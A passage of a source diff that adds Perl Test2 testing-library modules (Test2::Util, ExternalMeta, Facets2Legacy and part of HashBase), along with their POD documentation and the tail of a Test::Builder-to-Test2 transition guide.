+Test::Builder 1.5. Versions 0.12 and 0.13 relied on other Test::Builder
+internals.
+
+Fixed in version: 0.15
+
+=item Test::More::Prefix
+
+Worked by applying a role that wrapped C<< Test::Builder->_print_comment >>.
+Fixed by adding an event filter that modifies the message instead when running
+under Test2.
+
+Fixed in version: 0.007
+
+=back
+
+=head2 STILL BROKEN
+
+=over 4
+
+=item Test::Aggregate
+
+This distribution directly accesses the hash keys in the L<Test::Builder>
+singleton. It also approaches the problem from the wrong angle, please consider
+using L<Test2::Harness> or L<App::ForkProve> which both solve the same problem
+at the harness level.
+
+Still broken as of version: 0.373
+
+=item Test::Wrapper
+
+This module directly uses hash keys in the L<Test::Builder> singleton. This
+module is also obsolete thanks to the benefits of L<Test2>. Use C<intercept()>
+from L<Test2::API> to achieve a similar result.
+
+Still broken as of version: 0.3.0
+
+=item Test::ParallelSubtest
+
+This module overrides C<Test::Builder::subtest()> and
+C<Test::Builder::done_testing()>. It also directly accesses hash elements of
+the singleton. It has not yet been fixed.
+
+Alternatives: L<Test2::AsyncSubtest> and L<Test2::Workflow> (not stable).
+
+Still broken as of version: 0.05
+
+=item Test::Pretty
+
+See https://github.com/tokuhirom/Test-Pretty/issues/25
+
+The author admits the module is crazy, and he is awaiting a stable release of
+something new (Test2) to completely rewrite it in a sane way.
+
+Still broken as of version: 0.32
+
+=item Net::BitTorrent
+
+The tests for this module directly access L<Test::Builder> hash keys. Most, if
+not all of these hash keys have public API methods that could be used instead
+to avoid the problem.
+
+Still broken in version: 0.052
+
+=item Test::Group
+
+It monkeypatches Test::Builder, and calls it "black magic" in the code.
+
+Still broken as of version: 0.20
+
+=item Test::Flatten
+
+This modifies the Test::Builder internals in many ways. A better was to
+accomplish the goal of this module is to write your own subtest function.
+
+Still broken as of version: 0.11
+
+=item Log::Dispatch::Config::TestLog
+
+Modifies Test::Builder internals.
+
+Still broken as of version: 0.02
+
+=item Test::Able
+
+Modifies Test::Builder internals.
+
+Still broken as of version: 0.11
+
+=back
+
+=head1 MAKE ASSERTIONS -> SEND EVENTS
+
+=head2 LEGACY
+
+ use Test::Builder;
+
+ # A majority of tools out there do this:
+ # my $TB = Test::Builder->new;
+ # This works, but has always been wrong, forcing Test::Builder to implement
+ # subtests as a horrific hack. It also causes problems for tools that try
+ # to replace the singleton (also discouraged).
+
+ sub my_ok($;$) {
+ my ($bool, $name) = @_;
+ my $TB = Test::Builder->new;
+ $TB->ok($bool, $name);
+ }
+
+ sub my_diag($) {
+ my ($msg) = @_;
+ my $TB = Test::Builder->new;
+ $TB->diag($msg);
+ }
+
+=head2 TEST2
+
+ use Test2::API qw/context/;
+
+ sub my_ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context();
+ $ctx->ok($bool, $name);
+ $ctx->release;
+ }
+
+ sub my_diag($) {
+ my ($msg) = @_;
+ my $ctx = context();
+ $ctx->diag($msg);
+ $ctx->release;
+ }
+
+The context object has API compatible implementations of the following methods:
+
+=over 4
+
+=item ok($bool, $name)
+
+=item diag(@messages)
+
+=item note(@messages)
+
+=item subtest($name, $code)
+
+=back
+
+If you are looking for helpers with C<is>, C<like>, and others, see
+L<Test2::Suite>.
+
+=head1 WRAP EXISTING TOOLS
+
+=head2 LEGACY
+
+ use Test::More;
+
+ sub exclusive_ok {
+ my ($bool1, $bool2, $name) = @_;
+
+ # Ensure errors are reported 1 level higher
+ local $Test::Builder::Level = $Test::Builder::Level + 1;
+
+ $ok = $bool1 || $bool2;
+ $ok &&= !($bool1 && $bool2);
+ ok($ok, $name);
+
+ return $bool;
+ }
+
+Every single tool in the chain from this, to C<ok>, to anything C<ok> calls
+needs to increment the C<$Level> variable. When an error occurs Test::Builder
+will do a trace to the stack frame determined by C<$Level>, and report that
+file+line as the one where the error occurred. If you or any other tool you use
+forgets to set C<$Level> then errors will be reported to the wrong place.
+
+=head2 TEST2
+
+ use Test::More;
+
+ sub exclusive_ok {
+ my ($bool1, $bool2, $name) = @_;
+
+ # Grab and store the context, even if you do not need to use it
+ # directly.
+ my $ctx = context();
+
+ $ok = $bool1 || $bool2;
+ $ok &&= !($bool1 && $bool2);
+ ok($ok, $name);
+
+ $ctx->release;
+ return $bool;
+ }
+
+Instead of using C<$Level> to perform a backtrace, Test2 uses a context
+object. In this sample you create a context object and store it. This locks the
+context (errors report 1 level up from here) for all wrapped tools to find. You
+do not need to use the context object, but you do need to store it in a
+variable. Once the sub ends the C<$ctx> variable is destroyed which lets future
+tools find their own.
+
+=head1 USING UTF8
+
+=head2 LEGACY
+
+ # Set the mode BEFORE anything loads Test::Builder
+ use open ':std', ':encoding(utf8)';
+ use Test::More;
+
+Or
+
+ # Modify the filehandles
+ my $builder = Test::More->builder;
+ binmode $builder->output, ":encoding(utf8)";
+ binmode $builder->failure_output, ":encoding(utf8)";
+ binmode $builder->todo_output, ":encoding(utf8)";
+
+=head2 TEST2
+
+ use Test2::API qw/test2_stack/;
+
+ test2_stack->top->format->encoding('utf8');
+
+Though a much better way is to use the L<Test2::Plugin::UTF8> plugin, which is
+part of L<Test2::Suite>.
+
+=head1 AUTHORS, CONTRIBUTORS AND REVIEWERS
+
+The following people have all contributed to this document in some way, even if
+only for review.
+
+=over 4
+
+=item Chad Granum (EXODIST) E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINER
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://www.perl.com/perl/misc/Artistic.html>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util.pm
new file mode 100644
index 00000000000..6de008b683d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util.pm
@@ -0,0 +1,419 @@
+package Test2::Util;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use POSIX();
+use Config qw/%Config/;
+use Carp qw/croak/;
+
+BEGIN {
+ local ($@, $!, $SIG{__DIE__});
+ *HAVE_PERLIO = eval { require PerlIO; PerlIO->VERSION(1.02); } ? sub() { 1 } : sub() { 0 };
+}
+
+our @EXPORT_OK = qw{
+ try
+
+ pkg_to_file
+
+ get_tid USE_THREADS
+ CAN_THREAD
+ CAN_REALLY_FORK
+ CAN_FORK
+
+ CAN_SIGSYS
+
+ IS_WIN32
+
+ ipc_separator
+
+ do_rename do_unlink
+
+ try_sig_mask
+
+ clone_io
+};
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+
+BEGIN {
+ *IS_WIN32 = ($^O eq 'MSWin32') ? sub() { 1 } : sub() { 0 };
+}
+
+sub _can_thread {
+ return 0 unless $] >= 5.008001;
+ return 0 unless $Config{'useithreads'};
+
+ # Threads are broken on perl 5.10.0 built with gcc 4.8+
+ if ($] == 5.010000 && $Config{'ccname'} eq 'gcc' && $Config{'gccversion'}) {
+ my @parts = split /\./, $Config{'gccversion'};
+ return 0 if $parts[0] > 4 || ($parts[0] == 4 && $parts[1] >= 8);
+ }
+
+ # Change to a version check if this ever changes
+ return 0 if $INC{'Devel/Cover.pm'};
+ return 1;
+}
+
+sub _can_fork {
+ return 1 if $Config{d_fork};
+ return 0 unless IS_WIN32 || $^O eq 'NetWare';
+ return 0 unless $Config{useithreads};
+ return 0 unless $Config{ccflags} =~ /-DPERL_IMPLICIT_SYS/;
+
+ return _can_thread();
+}
+
+BEGIN {
+ no warnings 'once';
+ *CAN_THREAD = _can_thread() ? sub() { 1 } : sub() { 0 };
+}
+my $can_fork;
+sub CAN_FORK () {
+ return $can_fork
+ if defined $can_fork;
+ $can_fork = !!_can_fork();
+ no warnings 'redefine';
+ *CAN_FORK = $can_fork ? sub() { 1 } : sub() { 0 };
+ $can_fork;
+}
+my $can_really_fork;
+sub CAN_REALLY_FORK () {
+ return $can_really_fork
+ if defined $can_really_fork;
+ $can_really_fork = !!$Config{d_fork};
+ no warnings 'redefine';
+ *CAN_REALLY_FORK = $can_really_fork ? sub() { 1 } : sub() { 0 };
+ $can_really_fork;
+}
+
+sub _manual_try(&;@) {
+ my $code = shift;
+ my $args = \@_;
+ my $err;
+
+ my $die = delete $SIG{__DIE__};
+
+ eval { $code->(@$args); 1 } or $err = $@ || "Error was squashed!\n";
+
+ $die ? $SIG{__DIE__} = $die : delete $SIG{__DIE__};
+
+ return (!defined($err), $err);
+}
+
+sub _local_try(&;@) {
+ my $code = shift;
+ my $args = \@_;
+ my $err;
+
+ no warnings;
+ local $SIG{__DIE__};
+ eval { $code->(@$args); 1 } or $err = $@ || "Error was squashed!\n";
+
+ return (!defined($err), $err);
+}
+
+# Older versions of perl have a nasty bug on win32 when localizing a variable
+# before forking or starting a new thread. So for those systems we use the
+# non-local form. When possible though we use the faster 'local' form.
+BEGIN {
+ if (IS_WIN32 && $] < 5.020002) {
+ *try = \&_manual_try;
+ }
+ else {
+ *try = \&_local_try;
+ }
+}
+
+BEGIN {
+ if (CAN_THREAD) {
+ if ($INC{'threads.pm'}) {
+ # Threads are already loaded, so we do not need to check if they
+ # are loaded each time
+ *USE_THREADS = sub() { 1 };
+ *get_tid = sub() { threads->tid() };
+ }
+ else {
+ # :-( Need to check each time to see if they have been loaded.
+ *USE_THREADS = sub() { $INC{'threads.pm'} ? 1 : 0 };
+ *get_tid = sub() { $INC{'threads.pm'} ? threads->tid() : 0 };
+ }
+ }
+ else {
+ # No threads, not now, not ever!
+ *USE_THREADS = sub() { 0 };
+ *get_tid = sub() { 0 };
+ }
+}
+
+sub pkg_to_file {
+ my $pkg = shift;
+ my $file = $pkg;
+ $file =~ s{(::|')}{/}g;
+ $file .= '.pm';
+ return $file;
+}
+
+sub ipc_separator() { "~" }
+
+sub _check_for_sig_sys {
+ my $sig_list = shift;
+ return $sig_list =~ m/\bSYS\b/;
+}
+
+BEGIN {
+ if (_check_for_sig_sys($Config{sig_name})) {
+ *CAN_SIGSYS = sub() { 1 };
+ }
+ else {
+ *CAN_SIGSYS = sub() { 0 };
+ }
+}
+
+my %PERLIO_SKIP = (
+ unix => 1,
+ via => 1,
+);
+
+sub clone_io {
+ my ($fh) = @_;
+ my $fileno = fileno($fh);
+
+ return $fh if !defined($fileno) || !length($fileno) || $fileno < 0;
+
+ open(my $out, '>&' . $fileno) or die "Can't dup fileno $fileno: $!";
+
+ my %seen;
+ my @layers = HAVE_PERLIO ? grep { !$PERLIO_SKIP{$_} and !$seen{$_}++ } PerlIO::get_layers($fh) : ();
+ binmode($out, join(":", "", "raw", @layers));
+
+ my $old = select $fh;
+ my $af = $|;
+ select $out;
+ $| = $af;
+ select $old;
+
+ return $out;
+}
+
+BEGIN {
+ if (IS_WIN32) {
+ my $max_tries = 5;
+
+ *do_rename = sub {
+ my ($from, $to) = @_;
+
+ my $err;
+ for (1 .. $max_tries) {
+ return (1) if rename($from, $to);
+ $err = "$!";
+ last if $_ == $max_tries;
+ sleep 1;
+ }
+
+ return (0, $err);
+ };
+ *do_unlink = sub {
+ my ($file) = @_;
+
+ my $err;
+ for (1 .. $max_tries) {
+ return (1) if unlink($file);
+ $err = "$!";
+ last if $_ == $max_tries;
+ sleep 1;
+ }
+
+ return (0, "$!");
+ };
+ }
+ else {
+ *do_rename = sub {
+ my ($from, $to) = @_;
+ return (1) if rename($from, $to);
+ return (0, "$!");
+ };
+ *do_unlink = sub {
+ my ($file) = @_;
+ return (1) if unlink($file);
+ return (0, "$!");
+ };
+ }
+}
+
+sub try_sig_mask(&) {
+ my $code = shift;
+
+ my ($old, $blocked);
+ unless(IS_WIN32) {
+ my $to_block = POSIX::SigSet->new(
+ POSIX::SIGINT(),
+ POSIX::SIGALRM(),
+ POSIX::SIGHUP(),
+ POSIX::SIGTERM(),
+ POSIX::SIGUSR1(),
+ POSIX::SIGUSR2(),
+ );
+ $old = POSIX::SigSet->new;
+ $blocked = POSIX::sigprocmask(POSIX::SIG_BLOCK(), $to_block, $old);
+ # Silently go on if we failed to log signals, not much we can do.
+ }
+
+ my ($ok, $err) = &try($code);
+
+ # If our block was successful we want to restore the old mask.
+ POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked;
+
+ return ($ok, $err);
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util - Tools used by Test2 and friends.
+
+=head1 DESCRIPTION
+
+Collection of tools used by L<Test2> and friends.
+
+=head1 EXPORTS
+
+All exports are optional. You must specify subs to import.
+
+=over 4
+
+=item ($success, $error) = try { ... }
+
+Eval the codeblock, return success or failure, and the error message. This code
+protects $@ and $!, they will be restored by the end of the run. This code also
+temporarily blocks $SIG{DIE} handlers.
+
+=item protect { ... }
+
+Similar to try, except that it does not catch exceptions. The idea here is to
+protect $@ and $! from changes. $@ and $! will be restored to whatever they
+were before the run so long as it is successful. If the run fails $! will still
+be restored, but $@ will contain the exception being thrown.
+
+=item CAN_FORK
+
+True if this system is capable of true or pseudo-fork.
+
+=item CAN_REALLY_FORK
+
+True if the system can really fork. This will be false for systems where fork
+is emulated.
+
+=item CAN_THREAD
+
+True if this system is capable of using threads.
+
+=item USE_THREADS
+
+Returns true if threads are enabled, false if they are not.
+
+=item get_tid
+
+This will return the id of the current thread when threads are enabled,
+otherwise it returns 0.
+
+=item my $file = pkg_to_file($package)
+
+Convert a package name to a filename.
+
+=item ($ok, $err) = do_rename($old_name, $new_name)
+
+Rename a file, this wraps C<rename()> in a way that makes it more reliable
+cross-platform when trying to rename files you recently altered.
+
+=item ($ok, $err) = do_unlink($filename)
+
+Unlink a file, this wraps C<unlink()> in a way that makes it more reliable
+cross-platform when trying to unlink files you recently altered.
+
+=item ($ok, $err) = try_sig_mask { ... }
+
+Complete an action with several signals masked, they will be unmasked at the
+end allowing any signals that were intercepted to get handled.
+
+This is primarily used when you need to make several actions atomic (against
+some signals anyway).
+
+Signals that are intercepted:
+
+=over 4
+
+=item SIGINT
+
+=item SIGALRM
+
+=item SIGHUP
+
+=item SIGTERM
+
+=item SIGUSR1
+
+=item SIGUSR2
+
+=back
+
+=back
+
+=head1 NOTES && CAVEATS
+
+=over 4
+
+=item 5.10.0
+
+Perl 5.10.0 has a bug when compiled with newer gcc versions. This bug causes a
+segfault whenever a new thread is launched. Test2 will attempt to detect
+this, and note that the system is not capable of forking when it is detected.
+
+=item Devel::Cover
+
+Devel::Cover does not support threads. CAN_THREAD will return false if
+Devel::Cover is loaded before the check is first run.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=item Kent Fredric E<lt>kentnl@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
new file mode 100644
index 00000000000..f03422c61af
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
@@ -0,0 +1,182 @@
+package Test2::Util::ExternalMeta;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Carp qw/croak/;
+
+sub META_KEY() { '_meta' }
+
+our @EXPORT = qw/meta set_meta get_meta delete_meta/;
+BEGIN { require Exporter; our @ISA = qw(Exporter) }
+
+sub set_meta {
+ my $self = shift;
+ my ($key, $value) = @_;
+
+ validate_key($key);
+
+ $self->{+META_KEY} ||= {};
+ $self->{+META_KEY}->{$key} = $value;
+}
+
+sub get_meta {
+ my $self = shift;
+ my ($key) = @_;
+
+ validate_key($key);
+
+ my $meta = $self->{+META_KEY} or return undef;
+ return $meta->{$key};
+}
+
+sub delete_meta {
+ my $self = shift;
+ my ($key) = @_;
+
+ validate_key($key);
+
+ my $meta = $self->{+META_KEY} or return undef;
+ delete $meta->{$key};
+}
+
+sub meta {
+ my $self = shift;
+ my ($key, $default) = @_;
+
+ validate_key($key);
+
+ my $meta = $self->{+META_KEY};
+ return undef unless $meta || defined($default);
+
+ unless($meta) {
+ $meta = {};
+ $self->{+META_KEY} = $meta;
+ }
+
+ $meta->{$key} = $default
+ if defined($default) && !defined($meta->{$key});
+
+ return $meta->{$key};
+}
+
+sub validate_key {
+ my $key = shift;
+
+ return if $key && !ref($key);
+
+ my $render_key = defined($key) ? "'$key'" : 'undef';
+ croak "Invalid META key: $render_key, keys must be true, and may not be references";
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util::ExternalMeta - Allow third party tools to safely attach meta-data
+to your instances.
+
+=head1 DESCRIPTION
+
+This package lets you define a clear, and consistent way to allow third party
+tools to attach meta-data to your instances. If your object consumes this
+package, and imports its methods, then third party meta-data has a safe place
+to live.
+
+=head1 SYNOPSIS
+
+ package My::Object;
+ use strict;
+ use warnings;
+
+ use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
+
+ ...
+
+Now to use it:
+
+ my $inst = My::Object->new;
+
+ $inst->set_meta(foo => 'bar');
+ my $val = $inst->get_meta('foo');
+
+=head1 WHERE IS THE DATA STORED?
+
+This package assumes your instances are blessed hashrefs, it will not work if
+that is not true. It will store all meta-data in the C<_meta> key on your
+objects hash. If your object makes use of the C<_meta> key in its underlying
+hash, then there is a conflict and you cannot use this package.
+
+=head1 EXPORTS
+
+=over 4
+
+=item $val = $obj->meta($key)
+
+=item $val = $obj->meta($key, $default)
+
+This will get the value for a specified meta C<$key>. Normally this will return
+C<undef> when there is no value for the C<$key>, however you can specify a
+C<$default> value to set when no value is already set.
+
+=item $val = $obj->get_meta($key)
+
+This will get the value for a specified meta C<$key>. This does not have the
+C<$default> overhead that C<meta()> does.
+
+=item $val = $obj->delete_meta($key)
+
+This will remove the value of a specified meta C<$key>. The old C<$val> will be
+returned.
+
+=item $obj->set_meta($key, $val)
+
+Set the value of a specified meta C<$key>.
+
+=back
+
+=head1 META-KEY RESTRICTIONS
+
+Meta keys must be defined, and must be true when used as a boolean. Keys may
+not be references. You are free to stringify a reference C<"$ref"> for use as a
+key, but this package will not stringify it for you.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
new file mode 100644
index 00000000000..db74510a4d0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
@@ -0,0 +1,299 @@
+package Test2::Util::Facets2Legacy;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Carp qw/croak confess/;
+use Scalar::Util qw/blessed/;
+
+use base 'Exporter';
+our @EXPORT_OK = qw{
+ causes_fail
+ diagnostics
+ global
+ increments_count
+ no_display
+ sets_plan
+ subtest_id
+ summary
+ terminate
+ uuid
+};
+our %EXPORT_TAGS = ( ALL => \@EXPORT_OK );
+
+our $CYCLE_DETECT = 0;
+sub _get_facet_data {
+ my $in = shift;
+
+ if (blessed($in) && $in->isa('Test2::Event')) {
+ confess "Cycle between Facets2Legacy and $in\->facet_data() (Did you forget to override the facet_data() method?)"
+ if $CYCLE_DETECT;
+
+ local $CYCLE_DETECT = 1;
+ return $in->facet_data;
+ }
+
+ return $in if ref($in) eq 'HASH';
+
+ croak "'$in' Does not appear to be either a Test::Event or an EventFacet hashref";
+}
+
+sub causes_fail {
+ my $facet_data = _get_facet_data(shift @_);
+
+ return 1 if $facet_data->{errors} && grep { $_->{fail} } @{$facet_data->{errors}};
+
+ if (my $control = $facet_data->{control}) {
+ return 1 if $control->{halt};
+ return 1 if $control->{terminate};
+ }
+
+ return 0 if $facet_data->{amnesty} && @{$facet_data->{amnesty}};
+ return 1 if $facet_data->{assert} && !$facet_data->{assert}->{pass};
+ return 0;
+}
+
+sub diagnostics {
+ my $facet_data = _get_facet_data(shift @_);
+ return 1 if $facet_data->{errors} && @{$facet_data->{errors}};
+ return 0 unless $facet_data->{info} && @{$facet_data->{info}};
+ return (grep { $_->{debug} } @{$facet_data->{info}}) ? 1 : 0;
+}
+
+sub global {
+ my $facet_data = _get_facet_data(shift @_);
+ return 0 unless $facet_data->{control};
+ return $facet_data->{control}->{global};
+}
+
+sub increments_count {
+ my $facet_data = _get_facet_data(shift @_);
+ return $facet_data->{assert} ? 1 : 0;
+}
+
+sub no_display {
+ my $facet_data = _get_facet_data(shift @_);
+ return 0 unless $facet_data->{about};
+ return $facet_data->{about}->{no_display};
+}
+
+sub sets_plan {
+ my $facet_data = _get_facet_data(shift @_);
+ my $plan = $facet_data->{plan} or return;
+ my @out = ($plan->{count} || 0);
+
+ if ($plan->{skip}) {
+ push @out => 'SKIP';
+ push @out => $plan->{details} if defined $plan->{details};
+ }
+ elsif ($plan->{none}) {
+ push @out => 'NO PLAN'
+ }
+
+ return @out;
+}
+
+sub subtest_id {
+ my $facet_data = _get_facet_data(shift @_);
+ return undef unless $facet_data->{parent};
+ return $facet_data->{parent}->{hid};
+}
+
+sub summary {
+ my $facet_data = _get_facet_data(shift @_);
+ return '' unless $facet_data->{about} && $facet_data->{about}->{details};
+ return $facet_data->{about}->{details};
+}
+
+sub terminate {
+ my $facet_data = _get_facet_data(shift @_);
+ return undef unless $facet_data->{control};
+ return $facet_data->{control}->{terminate};
+}
+
+sub uuid {
+ my $in = shift;
+
+ if ($CYCLE_DETECT) {
+ if (blessed($in) && $in->isa('Test2::Event')) {
+ my $meth = $in->can('uuid');
+ $meth = $in->can('SUPER::uuid') if $meth == \&uuid;
+ my $uuid = $in->$meth if $meth && $meth != \&uuid;
+ return $uuid if $uuid;
+ }
+
+ return undef;
+ }
+
+ my $facet_data = _get_facet_data($in);
+ return $facet_data->{about}->{uuid} if $facet_data->{about} && $facet_data->{about}->{uuid};
+
+ return undef;
+}
+
+1;
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util::Facets2Legacy - Convert facet data to the legacy event API.
+
+=head1 DESCRIPTION
+
+This module exports several subroutines from the older event API (see
+L<Test2::Event>). These subroutines can be used as methods on any object that
+provides a custom C<facet_data()> method. These subroutines can also be used as
+functions that take a facet data hashref as arguments.
+
+=head1 SYNOPSIS
+
+=head2 AS METHODS
+
+ package My::Event;
+
+ use Test2::Util::Facets2Legacy ':ALL';
+
+ sub facet_data { return { ... } }
+
+Then to use it:
+
+ my $e = My::Event->new(...);
+
+ my $causes_fail = $e->causes_fail;
+ my $summary = $e->summary;
+ ....
+
+=head2 AS FUNCTIONS
+
+ use Test2::Util::Facets2Legacy ':ALL';
+
+ my $f = {
+ assert => { ... },
+ info => [{...}, ...],
+ control => {...},
+ ...
+ };
+
+ my $causes_fail = causes_fail($f);
+ my $summary = summary($f);
+
+=head1 NOTE ON CYCLES
+
+When used as methods, all these subroutines call C<< $e->facet_data() >>. The
+default C<facet_data()> method in L<Test2::Event> relies on the legacy methods
+this module emulates in order to work. As a result of this it is very easy to
+create infinite recursion bugs.
+
+These methods have cycle detection and will throw an exception early if a cycle
+is detected. C<uuid()> is currently the only subroutine in this library that
+has a fallback behavior when cycles are detected.
+
+=head1 EXPORTS
+
+Nothing is exported by default. You must specify which methods to import, or
+use the ':ALL' tag.
+
+=over 4
+
+=item $bool = $e->causes_fail()
+
+=item $bool = causes_fail($f)
+
+Check if the event or facets result in a failing state.
+
+=item $bool = $e->diagnostics()
+
+=item $bool = diagnostics($f)
+
+Check if the event or facets contain any diagnostics information.
+
+=item $bool = $e->global()
+
+=item $bool = global($f)
+
+Check if the event or facets need to be globally processed.
+
+=item $bool = $e->increments_count()
+
+=item $bool = increments_count($f)
+
+Check if the event or facets make an assertion.
+
+=item $bool = $e->no_display()
+
+=item $bool = no_display($f)
+
+Check if the event or facets should be rendered or hidden.
+
+=item ($max, $directive, $reason) = $e->sets_plan()
+
+=item ($max, $directive, $reason) = sets_plan($f)
+
+Check if the event or facets set a plan, and return the plan details.
+
+=item $id = $e->subtest_id()
+
+=item $id = subtest_id($f)
+
+Get the subtest id, if any.
+
+=item $string = $e->summary()
+
+=item $string = summary($f)
+
+Get the summary of the event or facets hash, if any.
+
+=item $undef_or_int = $e->terminate()
+
+=item $undef_or_int = terminate($f)
+
+Check if the event or facets should result in process termination, if so the
+exit code is returned (which could be 0). undef is returned if no termination
+is requested.
+
+=item $uuid = $e->uuid()
+
+=item $uuid = uuid($f)
+
+Get the UUID of the facets or event.
+
+B<Note:> This will fall back to C<< $e->SUPER::uuid() >> if a cycle is
+detected and an event is used as the argument.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/HashBase.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
new file mode 100644
index 00000000000..8e73af425e2
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
@@ -0,0 +1,435 @@
+package Test2::Util::HashBase;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+#################################################################
+# #
+# This is a generated file! Do not modify this file directly! #
+# Use hashbase_inc.pl script to regenerate this file. #
+# The script is part of the Object::HashBase distribution. #
+# Note: You can modify the version number above this comment #
+# if needed, that is fine. #
+# #
+#################################################################
+
+{
+ no warnings 'once';
+ $Test2::Util::HashBase::HB_VERSION = '0.006';
+ *Test2::Util::HashBase::ATTR_SUBS = \%Object::HashBase::ATTR_SUBS;
+ *Test2::Util::HashBase::ATTR_LIST = \%Object::HashBase::ATTR_LIST;
+ *Test2::Util::HashBase::VERSION = \%Object::HashBase::VERSION;
+ *Test2::Util::HashBase::CAN_CACHE = \%Object::HashBase::CAN_CACHE;
+}
+
+
+require Carp;
+{
+ no warnings 'once';
+ $Carp::Internal{+__PACKAGE__} = 1;
+}
+
+BEGIN {
+ # these are not strictly equivalent, but for out use we don't care
+ # about order
+ *_isa = ($] >= 5.010 && require mro) ? \&mro::get_linear_isa : sub {
+ no strict 'refs';
+ my @packages = ($_[0]);
+ my %seen;
+ for my $package (@packages) {
+ push @packages, grep !$seen{$_}++, @{"$package\::ISA"};
+ }
+ return \@packages;
+ }
+}
+
+my %STRIP = (
+ '^' => 1,
+ '-' => 1,
+);
+
+sub import {
+ my $class = shift;
+ my $into = caller;
+
+ # Make sure we list the OLDEST version used to create this class.
+ my $ver = $Test2::Util::HashBase::HB_VERSION || $Test2::Util::HashBase::VERSION;
+ $Test2::Util::HashBase::VERSION{$into} = $ver if !$Test2::Util::HashBase::VERSION{$into} || $Test2::Util::HashBase::VERSION{$into} > $ver;
+
+ my $isa = _isa($into);
+ my $attr_list = $Test2::Util::HashBase::ATTR_LIST{$into} ||= [];
+ my $attr_subs = $Test2::Util::HashBase::ATTR_SUBS{$into} ||= {};
+
+ my %subs = (
+ ($into->can('new') ? () : (new => \&_new)),
+ (map %{$Test2::Util::HashBase::ATTR_SUBS{$_} || {}}, @{$isa}[1 .. $#$isa]),
+ (
+ map {
+ my $p = substr($_, 0, 1);
+ my $x = $_;
+ substr($x, 0, 1) = '' if $STRIP{$p};
+ push @$attr_list => $x;
+ my ($sub, $attr) = (uc $x, $x);
+ $sub => ($attr_subs->{$sub} = sub() { $attr }),
+ $attr => sub { $_[0]->{$attr} },
+ $p eq '-' ? ("set_$attr" => sub { Carp::croak("'$attr' is read-only") })
+ : $p eq '^' ? ("set_$attr" => sub { Carp::carp("set_$attr() is deprecated"); $_[0]->{$attr} = $_[1] })
+ : ("set_$attr" => sub { $_[0]->{$attr} = $_[1] }),
+ } @_
+ ),
+ );
+
+ no strict 'refs';
+ *{"$into\::$_"} = $subs{$_} for keys %subs;
+}
+
+sub attr_list {
+ my $class = shift;
+
+ my $isa = _isa($class);
+
+ my %seen;
+ my @list = grep { !$seen{$_}++ } map {
+ my @out;
+
